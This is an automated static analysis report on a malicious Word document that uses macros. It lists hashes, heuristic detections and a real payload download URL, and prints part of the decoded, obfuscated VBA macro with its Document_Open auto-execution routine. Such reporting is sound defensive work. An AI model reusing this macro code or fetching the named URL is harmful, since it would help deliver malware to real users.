Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 77d67c7c58802191…

MALICIOUS

Office (OLE)

130.5 KB Created: 2018-10-26 10:23:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 884809a57cca57c682906a0f20b4b676 SHA-1: e33371c455045d533f5c072ea9edae4c1ef6e016 SHA-256: 77d67c7c588021912d4fb35068a5c8574f15b41d5087f14bf55bd94f8b872391
264 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro that automatically executes upon opening the document, as indicated by the Document_Open macro firing. This macro utilizes an obfuscated Shell() command to download and execute a payload from the URL http://sweetturningfirm.work/YOUthr.exe. The presence of the Shell() call and the embedded URL strongly suggests a downloader or droppper functionality.

Heuristics 8

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://sweetturningfirm.work/YOUthr.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21670 bytes
SHA-256: 0ace3eb0139b250161ee9df07d6adfec31ae5b6b834807b34c83d76cffb4cc0f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 14 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Const VAdhVtWKmFxulKeALZRMQiYenTWAAKaqMncGOLEY = 40564
Private Const auomdJnacewcCMTBTpkDWPleCI5161 = 2
Const NNHnbyEuzhXJvJTJgiXJM5909964 = 61
Private Const GMpHeGCnBLhWXxsfZjiQVxOd = 6
Const tnYxjqYmpCiGnpNtLu483593339678 = 2
Private Const KxtoaGLIJkUtaNVrUdxSTTwfouCFEwezDPC40564 = 47
Const sTeqFJRvCeWtsfIzPqzmyebB60427501 = 221
Private Const HSwjRmQEAAhTwWDPJumpiKtM770617728285802960 = 91
Const aHFzZLnGpzDHXgkDfueHXURYwE02303 = 60427501
Private Const vXddLEJggucoTVwJpqFQpejo91 = 5909964
Const nmVRKpvdpjplCGpegAHSnstzGIuPzWIFJGhjfvnSuZJaHAqQ = 29
Private Const OdBApEmBmdMHdNGplPlfHu8969 = 2
Const VKBugdTbkcisLdgKDfmGQmzfhIJksTdMT06177282 = 62
Private Const HKDGpHoSuzeYzjA = 1
Const yWZbyrWtZPnNJTkMOxfnm95962315478962 = 2
Private Const fpoJGXTCcfuVuMEEhAUocjLWNXUii29 = 74
Const aAZqWiySLOeUGdI87 = 96847
Private Const tdxqXCmLbLRvirX761935417877138328 = 580296010
Const SpIBdGVqWkLGLonpu010959020 = 87
Private Const kalYaXdAWMccVBG580296010 = 6177282
Const JQJDmcbMmpWKoQNXQYNUiuQBiiqomqyU = 229
Private Const NzkYGAPyLOYcIvUWNIQyRUkzpUenYFzi6321 = 7
Const iKvWkKIooQNoKgbp54665903 = 89
Private Const iUogBaKrAwXuGDB = 7
Const HKcDXLfnCyGCtamIRglBZmMOLyylGpPQaHz0333892184390195 = 7
Private Const CFHSasPkjlWbaFOpYZlZAc229 = 61
Const tkZBxPgViinOfFM586722098 = 2317
Private Const iTboBZADBDxWnyV0072237491 = 21086544
Const fkpKHeRVdGghBZizG85726324 = 586722098
Private Const VZsxMKGjRRgYuWm21086544 = 54665903
Const xoVCesDWngwxEeWtwUJkqdtfcUXwDQJx = 315
Private Const WceqrHzcafSUdRibvLw9362 = 6
Const opyvHhNehOLRlXEbcHx803 = 32
Private Const MMvfjdjJXvAixBe = 3
Const UvMUBiFNHzoOiHnXbsodiQDgBUACXxtZn535656825620671379 = 6
Private Const DBRXDTDfOdiKwlVgeiiK315 = 59
Const IKBePWOMqscMwzc193541 = 8771383
Private Const hBHHOcQxcKbhlyN4305684820 = 880292
Const UcMJUEhpwvBHpgHMV7 = 193541
Private Const vwSjifXEDcQRGsy880292 = 803



Private Sub Document_Open()
Call wDgvJwhFefgLaRfhfnOCxJys
End Sub

Private Sub wDgvJwhFefgLaRfhfnOCxJys()
Dim SuLMGaYAwxkDAbhtiNU

Dim ljLXecTphjrPxkJzTPKuxVKPTygJtAdNk

Application.Run "OGqYcfIEQ.LvDbXJe"

Dim ZjinieGiSNFUFPRhZSDZvP

Dim uTUIvcuebRUVVHMEBgkatLbEK

End Sub




Attribute VB_Name = "OGqYcfIEQ"
Const VAdhVtWKmFxulKeALZRMQiYenTWAAKaqMncGOLEY = 40564
Private Const auomdJnacewcCMTBTpkDWPleCI5161 = 2
Const NNHnbyEuzhXJvJTJgiXJM5909964 = 61
Private Const GMpHeGCnBLhWXxsfZjiQVxOd = 6
Const tnYxjqYmpCiGnpNtLu483593339678 = 2
Private Const KxtoaGLIJkUtaNVrUdxSTTwfouCFEwezDPC40564 = 47
Const sTeqFJRvCeWtsfIzPqzmyebB60427501 = 221
Private Const HSwjRmQEAAhTwWDPJumpiKtM770617728285802960 = 91
Const aHFzZLnGpzDHXgkDfueHXURYwE02303 = 60427501
Private Const vXddLEJggucoTVwJpqFQpejo91 = 5909964
Const nmVRKpvdpjplCGpegAHSnstzGIuPzWIFJGhjfvnSuZJaHAqQ = 29
Private Const OdBApEmBmdMHdNGplPlfHu8969 = 2
Const VKBugdTbkcisLdgKDfmGQmzfhIJksTdMT06177282 = 62
Private Const HKDGpHoSuzeYzjA = 1
Const yWZbyrWtZPnNJTkMOxfnm95962315478962 = 2
Private Const fpoJGXTCcfuVuMEEhAUocjLWNXUii29 = 74
Const aAZqWiySLOeUGdI87 = 96847
Private Const tdxqXCmLbLRvirX761935417877138328 = 580296010
Const SpIBdGVqWkLGLonpu010959020 = 87
Private Const kalYaXdAWMccVBG580296010 = 6177282
Const JQJDmcbMmpWKoQNXQYNUiuQBiiqomqyU = 229
Private Const NzkYGAPyLOYcIvUWNIQyRUkzpUenYFzi6321 = 7
Const iKvWkKIooQNoKgbp54665903 = 89
Private Const iUogBaKrAwXuGDB = 7
Const HKcDXLfnCyGCtamIRglBZmMOLyylGpPQaHz0333892184390195 = 7
Private Const CFHSasPkjlWbaFOpYZlZAc229 = 61
Const tkZBxPgViinOfFM586722098 = 2317
Private Const iTboBZADBDxWnyV0072237491 = 21086544
Const fkpKHeRVdGghBZizG85726324 = 586722098
Private Const VZsxMKGjRRgYuWm21086544 = 54665903
Const xoVCesDWngwxEeWtwUJkqdtfcUXwDQJx = 315
Private Const WceqrHzcafSUdRibvLw9362 = 6
Const opyvHhNehOLRlXEbcHx803 
... (truncated)